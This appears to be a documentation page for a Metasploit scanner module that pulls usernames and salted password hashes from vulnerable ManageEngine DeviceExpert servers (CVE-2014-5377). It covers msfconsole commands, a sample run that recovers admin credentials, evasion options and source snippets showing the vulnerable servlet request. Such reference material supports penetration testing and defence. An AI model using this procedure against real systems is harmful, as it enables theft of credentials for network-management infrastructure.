ManageEngine DeviceExpert User Credentials - Metasploit


This page contains detailed information about how to use the auxiliary/scanner/http/manageengine_deviceexpert_user_creds metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.

Module Overview


Name: ManageEngine DeviceExpert User Credentials
Module: auxiliary/scanner/http/manageengine_deviceexpert_user_creds
Source code: modules/auxiliary/scanner/http/manageengine_deviceexpert_user_creds.rb
Disclosure date: 2014-08-28
Last modification time: 2020-10-02 17:38:06 +0000
Supported architecture(s): -
Supported platform(s): -
Target service / protocol: http, https
Target network port(s): 80, 443, 3000, 6060, 8000, 8008, 8080, 8443, 8880, 8888
List of CVEs: CVE-2014-5377

This module extracts usernames and salted MD5 password hashes from ManageEngine DeviceExpert version 5.9 build 5980 and prior. This module has been tested successfully on DeviceExpert version 5.9.7 build 5970.

Module Ranking and Traits


Module Ranking:

  • normal: The exploit is otherwise reliable, but depends on a specific version and can't (or doesn't) reliably autodetect. More information about ranking can be found here.

Basic Usage


This module is a scanner module, and is capable of testing against multiple hosts.

msf > use auxiliary/scanner/http/manageengine_deviceexpert_user_creds
msf auxiliary(manageengine_deviceexpert_user_creds) > show options
    ... show and set options ...
msf auxiliary(manageengine_deviceexpert_user_creds) > set RHOSTS ip-range
msf auxiliary(manageengine_deviceexpert_user_creds) > exploit

Other examples of setting the RHOSTS option:

Example 1:

msf auxiliary(manageengine_deviceexpert_user_creds) > set RHOSTS 192.168.1.3-192.168.1.200 

Example 2:

msf auxiliary(manageengine_deviceexpert_user_creds) > set RHOSTS 192.168.1.1/24

Example 3:

msf auxiliary(manageengine_deviceexpert_user_creds) > set RHOSTS file:/tmp/ip_list.txt

Required Options


  • RHOSTS: The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'

Knowledge Base


Decription


This module extracts usernames and salted MD5 password hashes from ManageEngine DeviceExpert version 5.9 build 5980 and prior.

Vulnerable Software


DeviceExpert is a web–based, multi-vendor network configuration and change management (NCCM) solution for switches, routers, firewalls and other network devices.

This module has been tested successfully on DeviceExpert version 5.9.7 build 5970 on Windows XP SP3.

Software download:

Verification Steps


  1. Do: use auxiliary/scanner/http/manageengine_deviceexpert_user_creds
  2. Do: set RHOSTS [IP]
  3. Do: run
  4. You should receive usernames and associated password hashes + salts

Scenarios


  msf5 > use auxiliary/scanner/http/manageengine_deviceexpert_user_creds 
  msf5 auxiliary(scanner/http/manageengine_deviceexpert_user_creds) > set rhosts 172.16.158.131
  rhosts => 172.16.158.131
  msf5 auxiliary(scanner/http/manageengine_deviceexpert_user_creds) > check
  [+] 172.16.158.131:6060 - The target is vulnerable.
  [*] Checked 1 of 1 hosts (100% complete)
  msf5 auxiliary(scanner/http/manageengine_deviceexpert_user_creds) > run

  [*] 172.16.158.131:6060 - Found weak credentials (admin:admin)

  ManageEngine DeviceExpert User Credentials
  ==========================================

   Username  Password  Password Hash                     Role           E-mail                Password Salt
   --------  --------  -------------                     ----           ------                -------------
   admin     admin     3a4ebf16a4795ad258e5408bae7be341  Administrator  [email protected]  12345678

  [*] Credentials saved in: /Users/jvazquez/.msf4/loot/20140926165907_default_172.16.158.131_manageengine.dev_118155.txt
  [*] Scanned 1 of 1 hosts (100% complete)
  [*] Auxiliary module execution completed
  msf5 auxiliary(scanner/http/manageengine_deviceexpert_user_creds) > creds 172.16.158.131
  Credentials
  ===========

  host            service           public  private  realm  private_type
  ----            -------           ------  -------  -----  ------------
  172.16.158.131  6060/tcp (https)  admin   admin           Password

Go back to menu.

Msfconsole Usage


Here is how the scanner/http/manageengine_deviceexpert_user_creds auxiliary module looks in the msfconsole:

msf6 > use auxiliary/scanner/http/manageengine_deviceexpert_user_creds

msf6 auxiliary(scanner/http/manageengine_deviceexpert_user_creds) > show info

       Name: ManageEngine DeviceExpert User Credentials
     Module: auxiliary/scanner/http/manageengine_deviceexpert_user_creds
    License: Metasploit Framework License (BSD)
       Rank: Normal
  Disclosed: 2014-08-28

Provided by:
  Pedro Ribeiro <[email protected]>
  bcoles <[email protected]>

Check supported:
  No

Basic options:
  Name     Current Setting  Required  Description
  ----     ---------------  --------  -----------
  Proxies                   no        A proxy chain of format type:host:port[,type:host:port][...]
  RHOSTS                    yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
  RPORT    6060             yes       The target port (TCP)
  SSL      true             yes       Use SSL
  THREADS  1                yes       The number of concurrent threads (max one per host)
  VHOST                     no        HTTP server virtual host

Description:
  This module extracts usernames and salted MD5 password hashes from 
  ManageEngine DeviceExpert version 5.9 build 5980 and prior. This 
  module has been tested successfully on DeviceExpert version 5.9.7 
  build 5970.

References:
  https://www.exploit-db.com/exploits/34449
  OSVDB (110522)
  https://nvd.nist.gov/vuln/detail/CVE-2014-5377

Module Options


This is a complete list of options available in the scanner/http/manageengine_deviceexpert_user_creds auxiliary module:

msf6 auxiliary(scanner/http/manageengine_deviceexpert_user_creds) > show options

Module options (auxiliary/scanner/http/manageengine_deviceexpert_user_creds):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   Proxies                   no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOSTS                    yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
   RPORT    6060             yes       The target port (TCP)
   SSL      true             yes       Use SSL
   THREADS  1                yes       The number of concurrent threads (max one per host)
   VHOST                     no        HTTP server virtual host

Advanced Options


Here is a complete list of advanced options supported by the scanner/http/manageengine_deviceexpert_user_creds auxiliary module:

msf6 auxiliary(scanner/http/manageengine_deviceexpert_user_creds) > show advanced

Module advanced options (auxiliary/scanner/http/manageengine_deviceexpert_user_creds):

   Name                  Current Setting                                     Required  Description
   ----                  ---------------                                     --------  -----------
   DOMAIN                WORKSTATION                                         yes       The domain to use for Windows authentication
   DigestAuthIIS         true                                                no        Conform to IIS, should work for most servers. Only set to false for non-IIS servers
   FingerprintCheck      true                                                no        Conduct a pre-exploit fingerprint verification
   HttpClientTimeout                                                         no        HTTP connection and receive timeout
   HttpPassword                                                              no        The HTTP password to specify for authentication
   HttpRawHeaders                                                            no        Path to ERB-templatized raw headers to append to existing headers
   HttpTrace             false                                               no        Show the raw HTTP requests and responses
   HttpTraceColors       red/blu                                             no        HTTP request and response colors for HttpTrace (unset to disable)
   HttpTraceHeadersOnly  false                                               no        Show HTTP headers only in HttpTrace
   HttpUsername                                                              no        The HTTP username to specify for authentication
   SSLVersion            Auto                                                yes       Specify the version of SSL/TLS to be used (Auto, TLS and SSL23 are auto-negotiate) (Accepted: Auto, TLS, SSL23, SSL3, TLS1, TLS1.1, TLS1.2)
   ShowProgress          true                                                yes       Display progress messages during a scan
   ShowProgressPercent   10                                                  yes       The interval in percent that progress should be shown
   UserAgent             Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)  no        The User-Agent header to use for all requests
   VERBOSE               false                                               no        Enable detailed status messages
   WORKSPACE                                                                 no        Specify the workspace for this module

Auxiliary Actions


This is a list of all auxiliary actions that the scanner/http/manageengine_deviceexpert_user_creds module can do:

msf6 auxiliary(scanner/http/manageengine_deviceexpert_user_creds) > show actions

Auxiliary actions:

   Name  Description
   ----  -----------

Evasion Options


Here is the full list of possible evasion options supported by the scanner/http/manageengine_deviceexpert_user_creds auxiliary module in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):

msf6 auxiliary(scanner/http/manageengine_deviceexpert_user_creds) > show evasion

Module evasion options:

   Name                          Current Setting  Required  Description
   ----                          ---------------  --------  -----------
   HTTP::header_folding          false            no        Enable folding of HTTP headers
   HTTP::method_random_case      false            no        Use random casing for the HTTP method
   HTTP::method_random_invalid   false            no        Use a random invalid, HTTP method for request
   HTTP::method_random_valid     false            no        Use a random, but valid, HTTP method for request
   HTTP::pad_fake_headers        false            no        Insert random, fake headers into the HTTP request
   HTTP::pad_fake_headers_count  0                no        How many fake headers to insert into the HTTP request
   HTTP::pad_get_params          false            no        Insert random, fake query string variables into the request
   HTTP::pad_get_params_count    16               no        How many fake query string variables to insert into the request
   HTTP::pad_method_uri_count    1                no        How many whitespace characters to use between the method and uri
   HTTP::pad_method_uri_type     space            no        What type of whitespace to use between the method and uri (Accepted: space, tab, apache)
   HTTP::pad_post_params         false            no        Insert random, fake post variables into the request
   HTTP::pad_post_params_count   16               no        How many fake post variables to insert into the request
   HTTP::pad_uri_version_count   1                no        How many whitespace characters to use between the uri and version
   HTTP::pad_uri_version_type    space            no        What type of whitespace to use between the uri and version (Accepted: space, tab, apache)
   HTTP::uri_dir_fake_relative   false            no        Insert fake relative directories into the uri
   HTTP::uri_dir_self_reference  false            no        Insert self-referential directories into the uri
   HTTP::uri_encode_mode         hex-normal       no        Enable URI encoding (Accepted: none, hex-normal, hex-noslashes, hex-random, hex-all, u-normal, u-all, u-random)
   HTTP::uri_fake_end            false            no        Add a fake end of URI (eg: /%20HTTP/1.0/../../)
   HTTP::uri_fake_params_start   false            no        Add a fake start of params to the URI (eg: /%3fa=b/../)
   HTTP::uri_full_url            false            no        Use the full URL for all HTTP requests
   HTTP::uri_use_backslashes     false            no        Use back slashes instead of forward slashes in the uri
   HTTP::version_random_invalid  false            no        Use a random invalid, HTTP version for request
   HTTP::version_random_valid    false            no        Use a random, but valid, HTTP version for request

Go back to menu.

Error Messages


This module may fail with the following error messages:

Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.

Connection failed


Here is a relevant code snippet related to the "Connection failed" error message:

46:	  def get_users
47:	    users = nil
48:	    vprint_status("Reading users from master...")
49:	    res = send_request_cgi('uri' => normalize_uri(target_uri.path, 'ReadUsersFromMasterServlet'))
50:	    if !res
51:	      vprint_error("Connection failed")
52:	    elsif res.code == 404
53:	      vprint_error("Could not find 'ReadUsersFromMasterServlet'")
54:	    elsif res.code == 200 && res.body =~ /<discoverydata>(.+)<\/discoverydata>/
55:	      users = res.body.scan(/<discoverydata>(.*?)<\/discoverydata>/)
56:	      vprint_good("Found #{users.length} users")

Could not find 'ReadUsersFromMasterServlet'


Here is a relevant code snippet related to the "Could not find 'ReadUsersFromMasterServlet'" error message:

48:	    vprint_status("Reading users from master...")
49:	    res = send_request_cgi('uri' => normalize_uri(target_uri.path, 'ReadUsersFromMasterServlet'))
50:	    if !res
51:	      vprint_error("Connection failed")
52:	    elsif res.code == 404
53:	      vprint_error("Could not find 'ReadUsersFromMasterServlet'")
54:	    elsif res.code == 200 && res.body =~ /<discoverydata>(.+)<\/discoverydata>/
55:	      users = res.body.scan(/<discoverydata>(.*?)<\/discoverydata>/)
56:	      vprint_good("Found #{users.length} users")
57:	    else
58:	      vprint_error("Could not find any users")

Could not find any users


Here is a relevant code snippet related to the "Could not find any users" error message:

53:	      vprint_error("Could not find 'ReadUsersFromMasterServlet'")
54:	    elsif res.code == 200 && res.body =~ /<discoverydata>(.+)<\/discoverydata>/
55:	      users = res.body.scan(/<discoverydata>(.*?)<\/discoverydata>/)
56:	      vprint_good("Found #{users.length} users")
57:	    else
58:	      vprint_error("Could not find any users")
59:	    end
60:	    users
61:	  end
62:	
63:	  def parse_user_data(user)

Go back to menu.


References


See Also


Check also the following modules related to this module:

Authors


  • Pedro Ribeiro <pedrib[at]gmail.com>
  • bcoles

Version


This page has been produced using Metasploit Framework version 6.2.26-dev. For more modules, visit the Metasploit Module Library.

Go back to menu.